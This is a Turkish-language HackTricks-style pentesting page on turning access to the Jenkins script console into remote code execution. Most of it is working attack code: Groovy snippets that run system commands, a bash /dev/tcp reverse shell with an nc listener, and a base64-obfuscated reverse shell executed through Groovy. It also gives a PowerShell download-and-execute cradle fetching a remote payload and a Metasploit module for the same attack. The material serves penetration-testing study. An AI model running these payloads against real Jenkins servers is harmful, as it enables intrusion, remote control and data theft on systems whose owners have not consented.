Jenkins RCE with Groovy Script

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Jenkins Groovy Script ile Uzaktan Kod Çalıştırma (RCE)

Bu, Jenkins'te yeni bir proje oluşturmaktan daha az gürültülüdür.

  1. path_jenkins/script dizinine gidin.

  2. Metin kutusuna betiği girin.

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Aşağıdaki komutu kullanarak bir komutu çalıştırabilirsiniz: cmd.exe /c dir

Linux için ise şunu yapabilirsiniz: "ls /".execute().text

Metin içinde alıntılar ve tek tırnaklar kullanmanız gerekiyorsa, yükü çalıştırmak için """PAYLOAD""" (üçlü çift tırnak) kullanabilirsiniz.

Başka bir kullanışlı groovy betiği şudur (yerine [KOMUT EKLEYİN]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Linux'ta ters kabuk

Bir ters kabuk, hedef bir sisteme erişim sağlamak için kullanılan bir saldırı tekniğidir. Bu teknik, hedef sisteme bir kabuk sunucusu bağlantısı oluşturarak saldırganın komutları çalıştırmasına olanak tanır.

Aşağıdaki adımları izleyerek Linux'ta bir ters kabuk oluşturabilirsiniz:

  1. İlk olarak, saldırganın dinleyeceği bir IP adresi ve port belirleyin. Örneğin, IP adresi 192.168.1.100 ve port 4444 olarak varsayalım.

  2. Ardından, hedef sisteme bir ters kabuk oluşturmak için bir komut çalıştırın. Aşağıdaki komutu kullanabilirsiniz:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Bu komut, hedef sisteme bir ters kabuk oluşturacak ve saldırganın komutları çalıştırmasına olanak tanıyacaktır.

  1. Son olarak, saldırganın dinleme yapabilmesi için bir kabuk sunucusu başlatın. Bu işlem için çeşitli araçlar kullanılabilir, örneğin netcat veya nc komutu. Aşağıdaki komutu kullanarak netcat aracını kullanabilirsiniz:

nc -lvp 4444

Bu komut, saldırganın hedef sisteme bağlanmasını sağlayacak ve ters kabuk komutlarını almasına olanak tanıyacaktır.

Bu adımları takip ederek Linux'ta bir ters kabuk oluşturabilir ve hedef sisteme erişim sağlayabilirsiniz. Ancak, unutmayın ki bu tür saldırılar yasa dışıdır ve yalnızca yasal izinlerle gerçekleştirilmelidir.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Windows'ta ters kabuk

Bir PS ters kabukla birlikte bir HTTP sunucusu hazırlayabilir ve Jeking'i kullanarak onu indirip çalıştırabilirsiniz:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Bu işlemi bu betikle otomatikleştirebilirsiniz.

Ters kabuk almak için MSF'i kullanabilirsiniz:

msf> use exploit/multi/http/jenkins_script_console
AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated